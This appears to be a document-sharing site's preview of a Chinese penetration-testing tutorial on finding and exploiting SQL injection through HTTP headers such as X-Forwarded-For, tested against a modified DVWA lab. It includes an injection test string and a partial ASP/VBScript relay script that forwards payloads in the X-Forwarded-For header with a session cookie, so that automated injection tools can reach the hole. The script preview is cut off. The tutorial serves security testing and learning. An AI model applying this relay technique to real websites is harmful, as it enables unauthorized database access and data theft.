HTTP头注入的发现和工具化利用精选.docx

  1. 1、本文档共7页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
HTTP头注入的发现和工具化利用精选

目前市面上web漏扫均可以轻易的检测出以GET或POST方式传参的sql注入点,在实际测试过程中,笔者发现多数漏扫检测HTTP头注入问题的能力还不是太理想,这里分享下对于HTTP头注入的发现和利用过程,欢迎各位大牛批评指正。0x01、HTTP头注入的发现推荐使用安装了Modify Headers插件的火狐浏览器对目标站点进行信息收集,该插件可以自定义HTTP 头信息,截图如下:界面很简单,其中select action下拉单中的三个选项中modify比add优先级高,filter为过滤头字段操作,这里以新增http头字段X-Forwarded-For为例,下图红框中最前面选择add,紧跟着写入X-Forwarded-For,然后输入自定义的数值:我这里输入“x-for;xxoo!--”(不含引号),配置完成后依次点击save、确定即完成配置。然后使用火狐浏览器浏览存在X-Forwarded-For sql注入漏洞的站点,这里笔者略微改动下dvwa,以配合测试,如图:用配置好的火狐登录dvwa后,点击SQL injection选项,user id随便输入后点击submit,弹出典型的sql注入报错页面如图:实际测试中,我们可以同时定义多个http head字段,然后浏览目标网站,进而发现漏洞,用该配置浏览器上网,常有意外收获,这里贴一张实测截图:0x02、HTTP头SQL注入的工具化利用漏洞发现了,下面讲讲利用。多数注入工具仅能覆盖http头中的cookie、user-agent等字段,对于X-Forwarded-For 等部分字段并不能全面覆盖。对于X-Forwarded-For sql注入,网上多是通过抓包增加“X-Forwarded-For :*”内容,然后利用Sqlmap –r 方式对其注入,笔者曾使用sqlmap1.0,同时测试变更level参数等操作,最终并未成功利用,这里还望实验成功的大牛指点。下面笔者介绍一个利用寂寞的刺猬中转注入实现工具化利用的方法。 在寂寞的刺猬的中转注入代码中添加头字段X-Forwarded-For并赋值,值得注意的是这里不需要url编码和空格替换,代码略作修改后如下:?%‘感谢寂寞的刺猬sqlStr=request(g)存在注入点的文件actionUrl=37/dvwa/vulnerabilities/sqli/?id=Submit=Submit来源URLrefUrl=37/dvwa/vulnerabilities/sqli/添加cookie信息,实现过认证注入cookieStr=security=low; PHPSESSIDcb450bd3632e2bab6d30a31发起HTTP请求response.writePostData(actionUrl,sqlStr,cookieStr,refUrl)构造HTTP头注入数据包Function PostData(PostUrl,PostStr,PostCok,PostRef) ?Dim HttpSet Http = Server.CreateObject(msxml2.serverXMLHTTP)With Http.Open POST,PostUrl,False.SetRequestHeader Content-Length,Len(PostStr).SetRequestHeader Content-Type,application/x-www-form-urlencoded.SetRequestHeader Referer,PostRef.SetRequestHeader Cookie,PostCok.SetRequestHeader X-Forwarded-For,PostStr.Send GPostData = .ResponseBodyEnd WithSet Http = NothingPostData =bytes2BSTR(PostData)End FunctionFunction bytes2BSTR(vIn)Dim strReturnDim I, ThisCharCode, NextCharCodestrReturn = For I = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn, I, 1))If ThisCharCode H80 ThenstrReturn = strReturn Chr(ThisCharCode)ElseNextCharCode = AscB(MidB(vIn, I + 1, 1))strReturn = strReturn Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))I = I +

文档评论(0)

pfenejiarz + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档